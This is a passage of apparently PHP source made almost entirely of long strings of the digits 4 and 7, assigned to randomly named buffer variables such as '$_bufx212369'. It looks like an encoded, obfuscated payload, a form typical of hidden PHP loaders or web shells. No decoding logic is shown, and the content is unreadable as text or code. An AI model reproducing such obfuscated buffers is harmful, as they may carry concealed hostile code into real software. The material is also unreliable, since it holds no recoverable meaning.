4444444444444444447444744474444444444474447444444444444444744444447444444444447444744444444444444474447444444444444444444444444444444474444444744444444444444474447444444474444444444444447444444444444444444444444444744474447444744444447444444444444444444444444444444444444444444444447444744444444444444444444444444444444444744444447444444444444444744444444444444474447444444444444444444474444444744444444444444474444444744444447444444444447444444444444444744444447444444444444444444444444444444474444444444444444444744444444444444444444444444474447444744474444444744444444444744444444444444444444444444444447444444444444444444444444444444444444444744444447444744474444444744474444444444444444444444444444444444474444444744474447444444474444444444444444444744444444444444444447444744444444444444444444444444444444444744444444444444444444444444444444444444444444444744444444444744444447444444444444444744444447444444474444444444444444444444444447444744444444444444444447444444474444444444474447444444444444444744474444444444474447444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444444447444744444444444444444444444744444444444744444444444444444444444444474444444444444444444444444444444744444444444444474444444444444447444444444444444744444444444444474444444444474444444444474444444444474444444444444444444444444444444744444444444444474447444444444447444744444444444444444444444444444444444444474447444444474444444444474444444444444447444444444444444444474447444444474447444444444444444444444444444744444444444744444444444744444444444444444444444744444444444444444444444444474444444444444444444444444447444444444447444444474444444744444444444744444447444444444447444744444447444444444447444444444444444444444444444744444447444444474447444444444444444744444447444744444444444744444444444444474444444444474444444444444447444444444444444444444444444744444444444444444447444744444444444444444444444444474444444444444447444744444444444444444447444444444444444444474444444444444444444444444447444444444447444444444447444444444444444444444444444444474444444444474444444444444444444444444444444444444444444744444444444444444444444444474444444444444444444444444444444744474447444444444444444444444444444444474444444444444444444444444447444444444447444744474447444744444447444744474444444444444444444744444444444744444447444444474444444444444444444444474444444744444447444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444474444444444444447444444444444444444444444444444474447444444474444444744444444444744444444444444444447444444444447444444474444444444444447444444444444444744474447444744474444444444474444444444444447444444474444444744474447444744444444444744444444444444474444444444444444444444474444444444474444444744474444444744474444444444444444444744444444444444474444444444444444444444444447444744444444444744474444444444474444444444444444444444474444444444444444444444474444444744444444444744444444444744444444444444444444444744444447444444474444444444444444444444444444444444444444444444444447444444444447444444474444444444444444444744444444444744444447444444444444444444444444444744444447444444444444444444444444444444444444444444474444444444444444444744444444444444444444444744444444444744444444444444474444444444444444444444444444444444444444444444474447444444444444444444444444444744444447444444444444444744444447444444474444444444444444444444444444444444474444444444474444444744474447444444444444444744444444444444474444444444444444444444474444444444444444444444444444444444444444444744474447444444444444444444444447444444474444444744474447444444444447444444444444444444474444444744444444444444444447444744444444444444444447444744474444444744444444444744444444444444444444444744474444444444444447444744444444444444444447444444474444444744474444444444444444444444444444444744444447444444444447444744474447444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444744474444444744474444444444474444444444474444444444474444444744444444444444474444444744444444444444444447444444444444444444444447444444474444444744474444444444474444444444444444444444444444444444444444444444474447444444444447444444444447444744444444444444444444444744474444444444474444444744444444444444444444444444444444444444444444444744474447444444444444444744444444444744444444444744474447444444474444444444444444444444444447444444444444444744444447444744444447444744444444444444444444444444444447444444474444444744444444444744444444444444444444444744444444444744474444444744444444444744444444444444444444444744474447444444474444444744444444444444444444444444444444444744444444444444444444444444444444444444444447444444474444444444444444444444474444444444474444444744444444444444444444444444444444444744474444444444444444444444444444444444444444444744444444444444474447444444474444444444474444444444444444444444474444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444744444444444444474447444444474447444444474444444444444444444444444447444744444444444744474444444444474444444444444444444444474447444444444444444444444444444744444447444444444447444444444447444444444444444444444447444444474444444444474444444444444444444444444444444444444444444744444447444744444444444444474444444444444444444444444444444744444444444444444447444444444447444444444447444444444447444444444447444444444444444444474444444744444447444744474444444744444447444444444444444444444444444744444444444444474447444444444444444444444444444444444444444744444447444744474444444444444447444444444444444444444444444444444444444444444447444744444444444444444447444444474444444744444444444444444444444444444444444444474444444444474444444444444444444744474444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444474444444444444447444444474444444744444444444444474444444444444447444444474444444444444444444444474447444444444444444444474444444744474447444744444444444444474444444444444444444444444447444444444447444444474444444444444447444444474444444444474447444444444444444444474444444444444447444444444447444744444444444444444444444444474444444444444444444444474444444744444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444474447444744444444444444444447444444444444444444474444444744474447444444474444444444474444444744444444444444444444444444444444444444444447444744474444444444474444444444444447444744444444444444474444444444444447444744474444444444444444444444444444444744474447444444444444444744444447444444474444444444444444444444444447444444474444444444474444444744444444444444474444444744444444444444444444444444474444444744444444444444444444444744444444444444444447444744444447444444474444444444474447444444474447444444474444444444474447444444444444444444474447444444444444444744444444444444474444444444474444444444444447444444444444444444444447444744474447444444444444444444444444444744444447444744444444444444444444444744444444444744474447444744474444444444474447444444444444444744474444444444474447444444474444444444444444444744";
        $_bufx212369 = "444444444444444447444444444444444744474444444444444444444744444444444444474444444444444447444444444444444744444444444744444444444744444444444444444444444444444444444444444444444444474444444744444444444444474444444444444444444744444444444444444447444744444444444444474444444444444444444744444444444444444447444744444444444444444447444744444444444444444444444744444444444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444444444444744474447444444444447444444444444444444474447444744444444444444444444444744444444444444444444444744444447444444444444444444444444444744444444444744444444444444444447444444474444444744444444444444444447444444444447444444444444444444474444444744444444444444474447444744474447444444444444444444474444444444474447444744474444444444444447444444474444444444444444444444444447444444444444444744444447444444444447444444474447444444444447444444444444444744474444444444444447444744444447444744474444444744444444444744444444444744474444444744474444444744474444444744444444444444444444444444444444444444444444444744444444444444444447444444444447444744444444444744444444444744444444444444444444444744444444444444444447444444444447444444444447444744444444444444444444444444474447444444444447444744444444444444474444444444474444444444444444444444444444444444474447444744444444444444444447444444444447444744444444444444474444444444444444444444444444444444444444444444474444444444474444444444444447444744444444444444444444444444474447444444444447444444444444444444444447444444444444444444474444444744474444444444474444444444444444444444444444444744474444444444474444444444444447444444444447444744444444444444444447444444444447444444474447444444444447444444444444444744444447444444444444444744444444444444444444444744474444444444444444444744474447444444474444444444444444444444444444444444444444444444444447444444474447444444444444444444474444444444444447444444444444444444444444444444444444444744474447444444444444444444444444444744444444444444444444444444444447444444444444444444444444444444474447444444444444444444444444444444474444444744474447444444474444444444444444444744474444444444444444444744444447444444474444444444474444444444444444444444444447444744474444444744444447444444444444444444444444444744444444444744444444444744444444444444444444444744444447444744444444444444444444444444444444444744444444444444474444444444444444444444444447444444444444444744444447444444444444444744474447444444444444444444474444444744444444444444474447444444474447444744444444444444474444444744474444444444444444444744474444444744444444444444474444444444444447444444444447444444444444444444444447444444474447444444444447444744444444444444474447444744444444444744474447444444474447444444474444444444444444444744444447444744444447444444474447444744474444444744444444444444474447444744474447444444444444444744444444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444744474444444444444444444444444444444444444444444444474444444444474444444444444444444444444447444444444444444744474444444744444444444744444444444444474444444444444444444444444447444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444474444444444474447444444474447444444444447444444444444444444444444444444474444444444444447444744474444444444474444444444444444444444474444444744444447444744474447444744444444444444444447444444444444444444444447444444444444444444444447444744474447444444444447444444444444444444444444444744444447444744444444444444444447444744444447444744474444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444744444447444444444447444744474444444444444444444444444447444444444444444444474444444444444444444444444447444444444444444444444444444744444444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744444447444444444444444444444447444444444447444744474444444744444444444444474444444744474444444744474447444444444444444444444447444444474444444444444444444444444444444444474444444444444444444444444447444744444444444444474444444444444444444444444444444444444444444444474444444744444444444744444444444744474447444444444444444444474444444744474444444744474447444444444444444444474444444744474447444744474447444444444444444444474444444744444447444444444444444444474444444444444447444744444444444444474447444444444447444744444444444444444444444744444444444744444444444444474447444444474444444744444447444444444444444444444444444744444444444444474447444444444447444444474444444444444444444744444447444444444444444444444447444444474444444444474447444444444444444744444444444444444444444444444444444444444444444744444444444444444447444444444447444444444444444444444444444444474444444444444447444444444447444744444444444744444444444444474444444744474447444444474444444444474447444444474447444744444444444444444444444444444447444444474447444444444447444444444444444744444444444444474444444444444444444444444444444444444444444744444447444444444444444444474447444444444447444444444444444444444444444444444444444444444447444444444444444444474447444444444444444444444444444444444444444444474447444744474444444744444447444444444444444744444444444444444447444744444444444744444447444444474444444444444444444444474444444444444444444444444444444444444447444744444444444444444447444744444444444444444444444444444447444444444444444444474444444744444444444444444444444744474444444444474447444744444444444744444444444444444447444444444444444444444444444744444444444744474444444444474447444444444444444444474444444444444444444744444447444444444447444444444444444444474444444444444444444444444447444444444444444444474444444444444444444744444444444744474444444444444444444444474444444444474444444444444447444444444447444744444447444744474444444444444444444444444444444744444444444744444447444444474444444744444444444444444444444744444444444744444447444444444447444444474447444444474444444444474444444444444444444444444447444744444447444444444444444444444447444744444444444444444444444444444444444444474444444444474447444444474444444744444444444444444447444744444444444744444444444444444444444444474447444444444447444744444444444744444447444744474444444744444444444444444447444444474447444444444444444744444444444444444447444444444444444444444444444444474444444444474444444744444444444444474444444744444444444744444444444444444444444744474447444444444444444444444444444444474447444444444444444444444444444444474444444444444444444444444444444444474447444444474444444444444444444444474447444444444444444444444444444444444444444444444447444444444444444444474444444744444447444744474447444444444447444444474444444444444444444444444444444744444444444444444447444744444444444444444447444444444444444744444444444444444444444444444447444744444447444444474447444444474447444444444444444744444444444444444447444444444444444444474447444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444444444444444474444444744474444444744474444444744444444444744444447444444444444444444474444444444474447444444444444444444444444444444444444444444444444444744444444444444474447444444474444444444444447444444474444444744444444444744444444444444444444444444474444444444444444444444444447444744444444444444444447444444474444444444474444444444444444444444444444444444444444444444444447444444444444444444474444444444474447444444444447444444444447444744474444444744444447444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444447444744444444444444444447444444444444444444444444444744444447444744444444444444444447444444474444444444444444444444474447444444444447444444444444444744474447444444444447444744474444444444474444444744444444444444474444444444444444444744444447444444474444444744444444444444444444444444444444444744444444444444474444444744444444444444444444444444474444444444444447444444444447444744444444444444444447444444444447444444444444444444474444444444444447444744444444444444474447444744444447444444474444444444444444444444474444444444444444444444474444444444444444444744474444444444444444444444474444444444444444444444474447444444444444444444444444444444474447444744444444444444444444444444444447444444474444444744444444444444474447444444444444444444474444444744444444444444444444444444444444444744444444444744444444444744444444444444444447444444444444444744444444444444444444444444474444444444474444444744474444444444444444444444474444444744474444444444474447444444444447444444444444444444444447444444444444444444474447444444444444444444474447444744444444444444474447444444444444444444444444444444474444444744444444444444444447444444444444444444444444444744444444444444444447444444444444444444474444444744444444444744444444444444474444444444444447444444444447444444444444444744444444444444474447444444444444444444444447444444444444444444444447444444444444444444444444444444474447444744444447444444474444444444444444444444474444444444444444444744474444444444474447444444444447444744444444444444444447444744444444444444444447444744444447444444444444444744444444444444444447444744444444444444444444444444444447444444444447444444444444444444444444444444444447444744474447444744444447444444444444444744444444444444474444444444444444444444444447444444444444444444444444444444474444444744444444444444474447444444444444444744444444444444444444444744474447444744444444444444474444444744444447444444444444444744474444444744474444444444444444444744444444444444444444444744444444444444474444444444444447444444444444444744444447444444444447444444444444444744444444444444444444444744444447444444444447444444444447444744444447444444474447444444444444444744474444444744444444444744474444444444474447444444444444444444444447444744474447444444444444444444474444444444444444444744474444444744444444444444444444444744474444444444444444444444444444444444474444444744474447444444444444444444444447444444444444444744444444444444444444444444444444444444444447444444444444444744474447444444474444444444474444444444474444444444444444444444444447444444444444444744444444444444444447444444444447444444444444444444474444444444444447444444474447444744444444444444444444444444474444444444444444444744444447444444474444444444444444444444474447444444444444444444444447444444474444444444474444444444444444444444444444444444444447444444444444444444444444444444474444444444474444444744444447444444444444444444474444444444474444444444444444444444444444444444444447444744474444444444474444444744444444444444444444444744444444444744444444444744474447444444444447444444444447444744444444444444444444444744444444444444444444444444444444444444444447444744444444444744474444444444444444444444444444444444474444444444444444444444444447444444444447444444444447444444444444444444444444444444474444444444474444444444444444444444444447444444444447444444444444444444444444444744444444444744444447444444444444444444474444444744474444444444444444444444444444444444474444444444444444444444444444444444444444444744444444444444444444444444444447444444444447444744474444444444474444444444444444444444444444444444474447444744444444444444444444444444444447444444474444444444474444444444474444444744444444444444444444444444444444444444444444444444444444444744444444444444444444444444444447444744444444444744444444444444444444444444444444444744444447444444444444444744444444444444444444444744444444444444474444444444444447444444444444444444444444444444444447444444474444444444444444444744444444444444444447444444444447444444474444444444444444444444444444444444444444444744444444444744444447444744444447444444444444444444474447444444444444444444474444444744444447444444474444444444444444444444474444444444444447444444444444444444444447444444444447444444444444444444444444444444444444444744444444444444444444444444444444444744444444444744444444444444444444444744444444444444444444444444444447444444474444444444474444444444474444444444444444444744444444444444444444444444444444444744444444444444444444444444474447444444444444444444474444444444444447444444444444444444444444444744474444444444444444444444444444444444444444444444444447444744474444444444444444444444444444444444444444444444444444444444444447444444444444444744474444444444444447444444444447444444444447444744444444444444444444444444444444444744474447444444444444444744444444444444444447444444444444444444444444444744474447444444474444444444474447444744444444444444474447444444474447444444474444444444444444444444474444444444444447444444444444444444444444444444474444444444474444444444474444444744444444444444444444444444474447444444444444444744474447444444444444444444444447444444444444444444444444444444444447444444444444444744444447444744444444444744444444444444474444444744444444444744444444444444444447444444444447444444474444444444444444444444474444444444474444444444444444444444474444444744474444444744444444444744474444444744474447444444474444444744444444444444444444444444474447444444444444444444444447444744444444444744444444444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444474444444444444444444744444447444744474444444744444444444744444444444744444444444444444444444444444444444444444444444744444447444444444444444444444447444744444444444444444444444444444447444444474444444444444444444444474444444444474444444744444444444744444444444744444444444744474447444444444447444444444444444744444444444444444444444444444444444444444447444744474444444444474447444444474444444444444447444744444444444444444444444444444444444444444447444444444447444444474444444444444444444444444447444744444444444444474444444444444444444444444447444744444447444444474444444744444444444444444444444444444444444444444444444444474447444444444444444444444447444444444444444444474447444444474444444444444444444744444444444444444444444444474444444444444444444744444444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444744444447444444474444444444474444444744444447444444444447444744444447444444444444444444474444444444474447444444474447444444444447444744444444444744474444444444444444444444444444444444474444444444474444444744444447444744444444444444444447444744474444444444444444444444444444444744444444444444474447444444444444444744444447444744444444444444444444444444444444444444444444444444444447444744444444444444444444444744444444444744474447444744444444444744444444444744444444444444474444444744444447444444444444444744474444444744474444444444444447444444474444444444444444444444444447444744444447444444444444444744444444444444444444444444444444444744444444444444444447444444444447444744444447444444474444444744444444444444444444444744474447444444444444444444444444444444444444444444444444444444474444444444444444444744474444444444444444444744444444444444444444444744444444444444474444444444444444444444474444444444474444444444444447444744474444444744474447444444444447444444444447444444444444444744444444444744444444444444474444444444474444444444474444444744444444444744444444444444474444444444444447444444474444444444444444444444444444444744474444444444444444444444444444444444474447444744444444444744444444444444474444444744444444444744444444444444474447444444444444444744474447444444444444444744444447444444444447444744444444444444444444444744474447444744444447444744444444444744444444444444444444444444444444444744444444444444444444444444474447444444444444444744474444444444444444444444444444444444444444444444444447444444444444444444474444444744474447444444474444444444474444444444444444444744474447444444444447444444444447444744474444444444474444444444444444444444474447444444444444444444444444444444474444444444474444444744444444444444444447444444444444444444444444444744444444444444444444444744444444444444474444444444444447444744444444444444444444444744444444444444474447444444444444444444444444444444444444444444474444444444474444444744474444444444444444444744444444444444444444444444444447444444444444444444474444444444444447444444444444444444444444444744444444444444474444444744444444444444474444444744444444444744444444444444444447444744444444444444474444444444444447444444444444444444444444444444444444444444444444444444474444444444444444444444444444444744474444444444474444444744444447444444474447444444474447444444474447444444444444444444444444444444444447444744444444444444474447444444444444444444474444444444444444444444474444444444474444444444474444444744444444444444444447444444474444444444444444444444444444444444444444444444444444444444474444444444444447444444444444444444444444444744444444444744474444444444474444444744444444444444474444444444474444444744444444444444444447444744444444444444474444444444444444444444444444444444444444444444444444444744444447444744444444444444444447444444444444444744444447444744474447444444444444444444474444444444444447444744444447444744444444444444444444444744444444444444444444444444444447444444444444444744444447444744474444444444474444444444444444444444444447444744444447444444444444444744444444444444444444444444444447444744444447444444474447444444474444444744474444444444444444444744444444444444474444444444444447444444474444444444444447444744444444444444444447444744444444444444444444444744444447444744444444444444444444444444444444444744474444444444444444444744444444444744474444444744444447444444444447444444474447444744444447444444444444444444474444444744474444444444444447444744444444444444444447444444444444444744444447444444474444444444474444444444444444444444444447444444474444444444444444444744444444444444444447444444474447444444444444444444474444444744444444444444444444444444444444444444444447444444444447444444444444444744444447444444444444444444444444444444444444444444444444444444474447444444444444444744444444444444444447444444444447444444474444444444474444444444444447444444474444444744474444444444444444444444444444444444444447444444474444444444474444444744444447444744474444444444444444444444474444444444444444444444444444444744444444444444474444444744444447444444444444444444444447444444474444444444444444444444474444444444444444444444444447444444444444444744444447444444444444444444444444444744444447444444444444444444444444444744444444444444474444444744444444444444474447444444474444444444474444444444444447444444444444444744474444444744444444444744444444444444444444444744474444444444444447444744444444444444444447444444474447444444474444444744444444444444444447444444474444444444444444444444474444444444444444444444444447444744474447444444474444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444744444444444444444444444744444444444444444447444444444447444744444447444444444444444444444444444444444444444444444447444444444447444444474447444444444447444444444447444444444447444744444444444444474444444744444444444444444447444744474447444744444444444444474447444444444444444444444447444444444444444444444444444744444444444444474444444744444447444744444444444444444444444444474444444444444444444744444447444744444447444744444444444444444444444744444444444444444444444744444444444444444444444444444447444744444447444444444447444444474447444444444447444744444444444444474447444444474444444444444444444444444444444444474444444444444447444444444444444744444444444444444447444444444447444444444444444444474444444744474444444444444444444444444444444444474444444444444444444444474444444444444444444444474444444744444444444744474444444444444444444444444444444444444444444744474444444444444444444444444444444444444444444744444444444444444444444444444444444744474444444444444444444444474444444444474444444444474444444444444444444744444444444444444447444444444444444444474444444444474444444444444447444744444444444444444447444744474444444444444447444744474444444444444444444444444447444444474444444444444447444744444444444744444447444444444447444744444444444744444444444444474444444444444447444444444444444444474444444744444447444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444444444444744444444444444474447444444444444444444444447444744474444444444474444444744474444444444444447444444474447444444444444444744444444444744474444444444444447444444474444444444474444444744474447444444444444444744444444444444444444444444444444444444444447444444444444444444474444444444444444444744444447444744444444444744444444444744444447444444444444444744444444444444444447444444444444444444474444444444474444444444444444444444474444444444444447444444444444444444474447444444474444444444444447444444444447444444444444444444444447444744444444444744444444444444444444444744444444444744474444444444444444444444444444444744444444444744444447444744444444444744444444444444444444444744444447444744474444444444444447444744444444444744444444444744444444444744444444444444444447444444444444444444444444444444444444444744474444444744444444444744474447444744444447444444474447444744444444444444474447444444444444444744474444444444444444444444474447444444444444444444444444444444444447444744444444444444444444444444474447444444444444444744444447444444444444444444444447444444444444444444444444444444444444444744474444444444444444444444444444444444444447444444474444444444444447444444444447444744444444444744444447444744444444444444474444444444474447444444444447444444474444444744474447444744444444444444474444444444444447444744444447444444444444444444444447444444474444444744444444444444444444444744444447444444444444444444444444444744444444444444444447444444444447444444444444444744444444444444474444444744474444444744444444444444474444444744444444444444444444444744444444444444474444444444444447444444444444444444444444444444444447444444474444444444444447444444444444444444444444444744444447444444444444444744444444444444444447444444444444444744444444444744444444444444444444444444444447444444444447444744474444444744444444444444444447444744474447444444444447444744444444444744474444444444444444444444444444444444444444444444444447444444444444444444444447444444474444444744444444444444444444444444444444444444444444444444474444444744444444444744444444444444444444444444444444444444444444444444474444444444444447444744444447444444444447444444444444444444444444444444444444444744444444444744444447444444444444444444474444444444444444444744474444444444444447444744474447444444474447444444444444444444474447444444444444444744444444444444444447444444444444444444444447444444444444444444474444444444444447444444444447444444444444444444474444444444474444444444474444444444444447444744474444444744444447444444444447444444444444444744444447444444474447444444444447444444444444444744444447444444474447444444444444444444444444444744474444444444444444444744444447444444444447444744474444444444444444444444444444444444444444444444474444444744444444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444744444444444444444447444444444444444444444444444444474444444444444447444444444444444744444444444444444447444444444447444444474444444444444447444444444444444444474444444444474444444444444447444444444447444744444444444744474444444744474444444744444444444444444444444444444444444444444447444444444447444444444444444444444444444444474444444444474447444444444447444744444444444444444444444444474444444744474444444444474444444444474444444444474444444444474447444444444447444444444447444444474444444444444444444444474444444744444444444744444447444444444447444744444447444444474447444444444444444444444444444444444444444444474444444444444444444444474447444444474444444444444444444444444447444744474444444444474444444444444444444444444444444444444447444444444444444744474444444744444444444444444444444444444444444444444447444444444444444444474444444444474444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744444444444444474447444444444447444744444447444744444444444744474444444444474444444444444447444444474444444444444444444444444444444444444447444444474444444744444447444444474447444444444444444444444444444444444447444744444444444444474444444444444444444444474444444444444444444444444444444444444447444744474447444744444444444744444444444744474447444444444447444444444447444444444444444744444444444444474444444444444444444444444444444444444447444444444447444744474444444444444447444444474447444444474444444744444444444444444447444444444444444444444447444744444447444444474447444744444447444744444444444444474447444744444444444444474444444444444444444444444444444444444444444744474447444444444444444444444444444444444444444444444444444444474444444444474444444444444444444444474447444444444444444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444444474444444444474447444744444447444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444447444444474444444444444447444744444447444444474447444744444444444444474444444444474447444444474444444744444447444744474444444444474444444744474444444444444447444444444447444444444444444444474447444444444447444444444444444444474444444744444444444444444447444744444444444744444444444444444447444444444444444744474444444444444444444444444447444444444447444444444444444444444444444444444444444444474444444444474444444444444444444744444444444744444444444444474447444744444444444444444444444744444447444444444444444444444447444744444447444444474444444744474447444444444444444444444444444444444444444744444444444444474444444444444444444744444444444444444444444444444447444444444447444444444444444444444444444744444444444444444444444444444444444744444444444444474444444444444447444744444447444444444447444744444444444444444444444444444447444744474444444744444444444444444444444444444447444444474444444444444444444444474444444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444444447444744474447444444474444444444444444444444444444444444444444444444474447444744474447444444444444444744444447444744444447444744444447444744444444444444444444444444444447444444444444444444474444444444444444444744474447444744474444444744474447444744444447444444444444444444474444444444474444444744474444444444444444444744444444444444474444444444474444444744474447444444474444444444444444444444474444444444444447444744444447444444474444444744444444444444444444444744444444444444474444444444444444444444444444444444474447444444444444444444474444444744444444444744444444444444474444444444474447444744474447444444444444444444444444444444474444444444444444444444444444444444474447444444474444444744474444444444474444444444474444444444444447444744444444444744444447444744444444444444444444444444444444444744444447444444474444444444474444444444444444444744444444444744444444444444444444444444474444444744444444444444444447444444444444444444444447444444444444444444474447444444474444444444444444444444444444444744444444444444444444444444444447444444474447444444444444444744444447444744444447444444474444444444444444444444474447444744444444444444444447444744444444444744444444444444444444444444444444444744444444444444474444444444444447444444444444444444444444444444474444444444474444444444444444444444474444444444444444444744444447444744474447444444444444444444444444444444444444444744474447444444444444444744474447444444444444444744474444444444444444444444444444444444474447444444474444444444474444444744444447444744444447444444474447444444444444444744474447444744444444444444474447444444474444444744444444444744444444444444474444444444474447444444444447444744444444444444444444444444444444444444474447444444444444444744444444444444474444444744444447444444444447444444474447444744474444444444444444444444444444444444474444444444474447444444474447444444444444444744444447444444444444444444444444444444444447444744444447444444474444444444444444444744444447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444474444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444474444444444444447444744444444444444474444444444474444444444444444444444474444444444474444444444474447444444444447444444444444444444474444444444444447444744474444444444444444444444444447444744444444444444474447444744444444444744444447444744474444444444444447444744444447444444444444444444444444444444474444444444444444444444474444444444444444444444444447444744474447444744474444444444444444444744474447444444444444444444474447444744444444444744444447444444474447444744444444444444444444444444444444444444444447444444444447444444444447444444474447444444474444444444474444444444444444444744474444444444444444444744444444444744444444444444474444444444444444444444474444444444444444444444444444444444474444444444474444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444474444444444474447444444444444444744474444444444474447444444444444444444474444444444444444444444444447444444444447444444474444444444444444444444444444444444474444444744444444444444474444444444474444444444444447444444474444444444444444444744444447444444444444444444444444444444474444444444474447444444444447444444444444444744444444444744474444444744474444444744444444444444444447444744444444444444444447444444444444444744444444444444444444444744444444444444474447444444474444444744444447444444444444444744444444444744444444444444444444444444444444444444444444444444444447444444474444444444444444444444444447444444474444444744474447444444444444444744444444444444444444444744474444444444474444444744444444444444444447444444444447444444444447444744444444444444444447444444444444444744444447444444444447444444474444444444444444444444444447444444474444444444444444444444444444444444444447444444474444444744444444444744444444444444444447444444444447444744474447444444444444444444444447444444444444444444444444444444444447444444474444444444444444444744444444444444444447444444444444444444444444444744474444444444444444444744444447444444474444444444444447444744444444444744444447444444474444444444474444444744444447444444444444444444444447444444444444444744474447444444444444444444444444444444444444444444474447444444444444444444444444444444444447444444444444444444474447444444444444444444444444444744444447444444474444444444474447444744444444444444444444444444474444444444444444444744444444444744444447444444444447444444444444444744444447444444444444444444474447444744474444444444474447444744474447444444474447444444444444444444444444444444444447444744474444444444444444444444444447444444444447444744474444444444474444444744474444444444444447444744444444444444474444444444474444444444444444444744444444444444474444444444474447444744444447444444444444444444444444444744474444444744474444444744474444444744444444444744444444444444444444444444444447444444444444444444444444444444474447444444474444444744444444444744444444444444444444444744444444444744474444444444474447444444474444444444444447444444444444444444474444444444474444444444444444444444444447444444444444444744474444444744474444444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444444444447444744444444444744474447444444444447444444444444444444444444444444444444444444444447444444444444444444474444444444444444444744474447444444474444444744444447444744444447444444444447444444444444444744444444444444444444444444444444444444444444444744444444444444474444444444444444444744474444444444444444444744444447444444444444444444444444444744444444444444444444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444744444444444444474444444444444444444444444444444444474444444744444444444444444444444744474447444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444474444444444474444444444444444444744444444444444444444444444474444444444474447444444444444444444444444444444474447444444444447444444444444444744474444444744474444444744444444444444474444444444474447444444474447444444444444444444444447444444474444444444474444444444444444444444444444444444474444444444444444444444444447444444444444444444474444444744444444444444474447444744444444444444444447444744444444444744474444444444444444444744444447444444474444444444474447444444444444444744444444444444444444444744444444444444444447444444474444444444444447444444444447444444444444444744444444444444474447444444444444444444444444444744444447444744444447444444444447444744474444444444474447444744444444444744444444444444474444444444444444444444444447444444444444444444444447444744444444444744444444444444444447444744444444444444474447444444474447444444474447444744444447444444444444444744474444444444444447444744444447444444474447444444474444444444444444444744444444444444444444444444444444444444474447444744474444444444444447444444474444444444444444444444444444444744444447444444444444444444444444444444444444444444444444444444444444444744444444444444474444444444444444444744474444444444444447444444474447444444444444444744444444444444444444444744444444444744474447444444474447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444474444444444444444444444444444444744444444444444444444444744474444444444474444444444444444444444474447444744474447444444444444444744444447444744444447444744474444444744444444444444444444444744444444444444474444444444444444444444444447444744474447444444444444444444444444444744474444444444444444444744444444444444474447444444444444444444444444444444444444444444444444444744474444444444444447444744474444444444444444444444444447444444444444444444474444444444444444444744474447444444444444444744444447444744444444444444444444444444474444444444444444444444474444444744444447444444444444444444444444444444444444444744444447444444444444444744444444444744474444444744444444444444444447444744444444444444444447444744444447444744444444444444474447444744444444444444474447444744444444444444444444444444444444444444444444444444444444444744444447444444474444444444444444444444474444444744444447444444444444444444444444444744444444444444444444444444444447444444474444444444444447444444444444444744444444444444474447444444444444444444444447444444474444444444444447444444474444444744444447444744444444444744474444444744444444444444444447444444444447444744444447444444444444444444474444444444474444444744474444444444444444444444474444444444444447444744474444444744444447444444474444444744474444444444474444444444444444444444444444444744474444444444444444444444474444444444444447444444474444444444474444444444474447444444444444444744474444444444444444444444474444444444444447444444444444444444444444444444474447444444444447444444444447444444444447444444444447444444474444444444444444444444444444444444474444444744444447444444444447444444474444444744444444444744444444444744474447444744444447444744474444444744444444444444444444444744444444444444474444444444474444444744474447444444444444444444474444444444444444444444474447444444444444444444444444444444474444444444444444444444444447444444444447444444474444444444444447444444444444444744444444444444444444444444444444444744444444444444474447444744444447444744474444444744474444444744444444444444444444444444444447444444444444444744444447444444474447444444474447444744444447444744444447444444444444444744444444444744474444444444444447444444444444444444444444444444474444444444444444444444444444444744444444444444444444444444444447444444444447444444474444444444474444444444444444444444444447444444444444444444444444444444444447444444444447444744444447444444444447444744444444444444474447444744474444444444444444444444444444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444444444444744474444444444474447444444474444444444444444444444444444444444444447444744444447444444444444444744444447444444444444444444474447444444444444444744444444444444444444444444444444444444474447444444444444444444444444444444474444444444474447444444444447444444474444444444444444444444444444444444474444444444444447444444474444444444444444444444474447444444444447444444474447444444444447444444444444444744444444444444474444444744444447444444444444444444474447444744474444444444444444444444444444444444444447444444444444444744444444444444444447444444444444444444444444444744444444444444474444444444444447444444444444444444444444444744474447444444444447444444444444444444474444444444474444444744444447444744444444444444444444444444444447444444474447444444444444444744444444444744474447444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444474447444444444444444444444444444444444444444444474447444444444444444744444444444444474447444444444447444744474444444444444444444444474444444744444447444444444444444444444444444744444444444444444444444444444444444744444444444744444444444444474444444444444444444444444444444444474444444444474447444444474444444444474444444444444444444444474444444444444444444744444447444744444444444744444444444444444444444444444444444444444447444444444444444444444447444744444447444444474444444744444444444444444444444744474444444444474444444744444444444444474444444444474444444444444444444744444447444744444444444444444444444444474447444444474444444744474444444444444444444444444447444744444444444444444444444444474447444444444444444444444444444444444447444744474447444744474444444444474444444744474444444744474444444444474447444744474447444744444444444444444444444744444444444444474444444444444444444444444444444444444444444744474444444444444444444444444447444444474444444444444444444744474444444744444444444444444444444444444447444444444444444444474444444444444444444444444444444744444444444744444444444444444447444444444444444744474444444444444447444744444444444444474444444444444444444444444444444444444447444444444444444444444444